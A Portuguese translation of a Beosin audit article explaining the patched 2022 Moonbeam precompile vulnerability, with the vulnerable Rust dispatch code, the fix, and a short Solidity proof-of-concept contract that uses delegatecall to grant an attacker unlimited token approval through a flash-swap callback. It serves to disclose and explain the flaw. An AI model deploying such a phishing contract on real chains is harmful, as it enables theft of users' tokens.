WEB3DEV

Cover image for Série de auditorias de segurança: O que é uma vulnerabilidade de contrato pré-compilado?
Rafael Ojeda
Rafael Ojeda

Posted on

Série de auditorias de segurança: O que é uma vulnerabilidade de contrato pré-compilado?

Série de auditorias de segurança: O que é uma vulnerabilidade de contrato pré-compilado?

Image description

Foto de GuerrillaBuzz no Unsplash

Em maio de 2022, um hacker ético chamado pwning.eth reportou uma grave vulnerabilidade em contratos pré-compilados para a Moonbeam, que poderia permitir que invasores transferissem arbitrariamente os ativos de qualquer usuário. Na época, a vulnerabilidade poderia causar uma perda potencial de US$ 100.000.000.

A vulnerabilidade está relacionada a chamadas para pré-compilados Ethereum não padronizados. Esses são endereços que permitem que a EVM ( Ethereum Virtual Machine ou Máquina Virtual Ethereum ), por meio de contratos inteligentes, acesse alguns dos recursos principais da Moonbeam (como nossos pallets XC-20, staking e democracy) que não existem na base EVM. Usando uma DELEGATECALL (chamada delegada), um contrato inteligente malicioso poderia acessar o armazenamento pré-compilado de outra parte por meio de um retorno de chamada.

Isso não é um problema para usuários típicos, pois exigiria que eles enviassem uma transação para o contrato inteligente malicioso. No entanto, é um problema para outros contratos inteligentes que permitem chamadas arbitrárias para contratos inteligentes externos. Por exemplo, esse é o caso de alguns contratos inteligentes que permitem retornos de chamada. Nessas situações, um usuário mal-intencionado poderia fazer com que uma DEX ( Decentralized Exchange ou Exchange Descentralizada ) executasse uma chamada para o contrato inteligente malicioso que seria capaz de acessar os pré-compilados fingindo ser a DEX e possivelmente transferir seu saldo para qualquer outro endereço.

A equipe de pesquisa de segurança Beosin mostrará em detalhes o princípio de exploração dessa vulnerabilidade.

O que é um contrato pré-compilado?

Na EVM, o código de um contrato é interpretado em instruções e executado uma por uma. Durante a execução de cada instrução, a EVM verifica as condições de execução, ou seja, se a taxa de gas é suficiente. Se o gas não for suficiente, a EVM emitirá um erro.

No processo de execução de transações, a EVM não armazena dados em registradores, mas em uma pilha. Cada operação de leitura e gravação deve começar do topo da pilha, portanto, sua eficiência operacional é muito baixa. Se uma verificação em execução for necessária, pode levar muito tempo para executar uma operação complexa. Em uma blockchain, muitas operações complexas são necessárias, como funções de criptografia e funções de hash (resumo criptográfico), o que torna muitas funções impossíveis de serem executadas na EVM.

O contrato pré-compilado é uma solução de compromisso projetada para a EVM executar algumas funções de biblioteca complexas (usadas para operações complexas como criptografia e hashing) que não são adequadas para execução na EVM. É usado principalmente para alguns cálculos complexos com lógica simples, algumas funções que são chamadas com frequência e contratos com lógica fixa.

Implantar contratos pré-compilados requer uma proposta EIP (Ethereum Improvement Proposal ou Proposta de Melhoria do Ethereum), que será sincronizada com cada cliente após aprovação. Por exemplo, alguns contratos pré-compilados são implementados pelaEthereum: ercecover() (recupera o endereço associado à chave pública a partir da assinatura da curva elíptica, endereço 0x1), sha256hash() (cálculo de hash SHA256, endereço 0x2) e ripemd160hash() (cálculo de hash Ripemd160, endereço 0x3). Essas funções são definidas com um custo de gas fixo, em vez de realizar cálculos de gas de acordo com o bytecode (código de bytes) durante o processo de chamada, o que reduz muito o custo de tempo e gas. Como o contrato pré-compilado geralmente é implementado no lado do cliente com código de cliente e não precisa usar a EVM, a velocidade de execução é rápida.

Image description

A vulnerabilidade do contrato pré-compilado do Moonbeam

No Moonbeam, a pré-compilação do Balance ERC-20 fornece uma interface ERC-20 para processar os tokens nativos do Balance. O contrato pode usar address.call para chamar contratos pré-compilados, onde o endereço é o endereço pré-compilado. A seguir estão os códigos anteriores do Moonbeam para chamar contratos pré-compilados.

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
 match handle.code_address() {
   // Pré-compilações do Ethereum :
   a if a == hash(1) => Some(ECRecover::execute(handle)),
   a if a == hash(2) => Some(Sha256::execute(handle)),
   a if a == hash(3) => Some(Ripemd160::execute(handle)),
   a if a == hash(5) => Some(Modexp::execute(handle)),
   a if a == hash(4) => Some(Identity::execute(handle)),
   a if a == hash(6) => Some(Bn128Add::execute(handle)),
   a if a == hash(7) => Some(Bn128Mul::execute(handle)),
   a if a == hash(8) => Some(Bn128Pairing::execute(handle)),
   a if a == hash(9) => Some(Blake2F::execute(handle)),
   a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),
   a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)),
   a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),
   a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)),
   a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)),
   a if a == hash(2050) => Some(
     Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle),
   ),
   a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)),
   a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)),
   a if a == hash(2053) => Some(
RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)
),
   a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)),
   a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)),
   a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)),
   // Se o endereço corresponder ao prefixo do ativo, ele será roteado pelo conjunto de pré-compilação do ativo 
   a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
     Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new()
       .execute(handle)
   }
   // Se o endereço corresponder ao prefixo do ativo, ele será roteado pelo conjunto de pré-compilação do ativo
   a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
     Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle)
   }
   _ => None,
 }
}
Enter fullscreen mode Exit fullscreen mode

O código acima é o método de execução (fn execute()) do conjunto de contratos pré-compilados moonbase implementado em Rust. Este método irá verificar o endereço do contrato pré-compilado a ser chamado e, em seguida, transferir os dados de entrada para diferentes contratos pré-compilados para processamento. O identificador (handle de interação pré-compilada) passado pelo método de execução inclui o conteúdo relevante em call(call_data) e informações de contexto da transação.

Portanto, ao chamar o contrato pré-compilado de token ERC20, é necessário chamar as funções relevantes do contrato pré-compilado de token ERC20 através do método 0x000…00802.call("função(tipo)", parâmetro) (0x802=2050).

No entanto, há um problema com o método de execução do conjunto de contratos pré-compilados moonbase, ou seja, o método de chamada de outros contratos não é verificado. Se você usar delegatecall(call_data) em vez de call(call_data) para chamar os contratos pré-compilados, haverá alguns problemas.

Vamos dar uma olhada na diferença entre usar delegatecall(call_data) e call(call_data):

1 .Ao usar uma conta EOA ( Externally Owned Account ou Conta de Propriedade Externa ) para usar address.call(call_data) no contrato A para chamar a função de outro contrato B, o ambiente de execução está no contrato B, e as informações do chamador (msg) são do contrato A, conforme mostrado na figura abaixo.

Image description

  1. Ao usar delegatecall, o ambiente de execução é no contrato A, as informações do chamador (msg) são de uma conta de pessoa física externa (EOA) e os dados armazenados no contrato B não podem ser modificados, como mostrado na figura abaixo.

Image description

Independentemente do método usado para a chamada, as informações do EOA e o contrato B não podem ser vinculados através do contrato A, o que torna as chamadas entre contratos seguras.

Portanto, o método de execução (fn execute()) do conjunto de contratos pre-compilados moonbase implementado em Rust não verifica o método de chamada. Quando o delegatecall é usado para chamar contratos pre-compilados, os métodos relevantes também serão executados nos contratos precompilados e escritos no armazenamento dos contratos pre-compilados. Ou seja, como mostrado na figura abaixo, quando uma conta EOA chama um contrato A malicioso escrito por um atacante, A usa o método delegatecall para chamar o contrato pré-compilado B. Isso escreverá os dados chamados em A e B ao mesmo tempo para realizar um ataque de phishing.

Image description

O processo de um ataque de phishing através da vulnerabilidade

Um atacante pode implantar o seguinte contrato de phishing e levar os usuários a chamar a função de phishing - uniswapV2Call, e a função irá chamar a função stealLater (roubar mais tarde) que implementa delegatecall(token_approve) novamente.

De acordo com as regras mencionadas acima, o contrato de ataque chama a função approve (aprovar) (asset=0x000...00802) do contrato de token. Quando o usuário chama uniswapV2Call, a autorização será escrita no armazenamento do contrato de phishing e do contrato pré-compilado ao mesmo tempo. O atacante só precisa chamar a função transferfrom (transferir de) do contrato pré-compilado para roubar os tokens dos usuários.

pragma solidity >=0.8.0;

contract ExploitFlashSwap {
address asset;
address beneficiary;
constructor(address _asset, address _beneficiary) {
asset = _asset;
beneficiary = _beneficiary;
}
function stealLater() external {
(bool success,) = asset.delegatecall(
abi.encodeWithSignature(
"approve(address,uint256)",
beneficiary,
(uint256)(int256(-1))
)
);
require(success,"approve");
}

function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
stealLater();
}
}
Enter fullscreen mode Exit fullscreen mode

Como corrigir o bug?

Os desenvolvedores do Moonbeam corrigiram o bug (falha) verificando se o endereço da EVM é consistente com o endereço pré-compilado no método de execução (fn execute()) do conjunto de contratos pré-compilados do Moonbase para garantir que somente o método call() possa ser usado para os endereços pré-compilados depois de 0x000…00009. O código corrigido é o seguinte:

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
   // Filtrar endereços de pré-compilação conhecidos, exceto os oficiais da Ethereum
   if self.is_precompile(handle.code_address())
     && handle.code_address() > hash(9)
     && handle.code_address() != handle.context().address
   {
     return Some(Err(revert(
       "cannot be called with DELEGATECALL or CALLCODE",
     )));
   }

   match handle.code_address() {
......
Enter fullscreen mode Exit fullscreen mode

Conselho de segurança

Para evitar esse problema, a equipe de segurança da Beosin sugere que os desenvolvedores considerem a diferença entre delegatecall e call no processo de desenvolvimento. Se o contrato chamado puder ser chamado por meio de delegatecall, os desenvolvedores precisam pensar cuidadosamente em seus cenários de aplicação e princípios subjacentes e realizar testes rigorosos de código. É recomendável procurar uma empresa profissional de auditoria de blockchain para conduzir uma auditoria abrangente de segurança antes que um projeto seja lançado.

A Beosin é uma empresa líder global em segurança de blockchain co-fundada por vários professores de universidades de renome mundial, e conta com uma equipe de mais de 40 doutores em sua equipe. Tem escritórios em Cingapura, Coreia, Japão e outros 10+ países. Com a missão de "Proteger o ecossistema blockchain", a Beosin fornece uma solução abrangente de segurança blockchain "tudo-em-um" que abrange auditoria de contratos inteligentes, monitoramento e alerta de riscos, KYT/AML e rastreamento de criptomoedas. A Beosin já auditou mais de 3000 contratos inteligentes e protegeu mais de US $ 500 bilhões em fundos de nossos clientes. Você pode entrar em contato conosco visitando o link abaixo.

https://beosin.com/

Este artigo foi escrito por Beosin e traduzido para o português por Rafael Ojeda

Você encontra o artigo original aqui

Latest comments (0)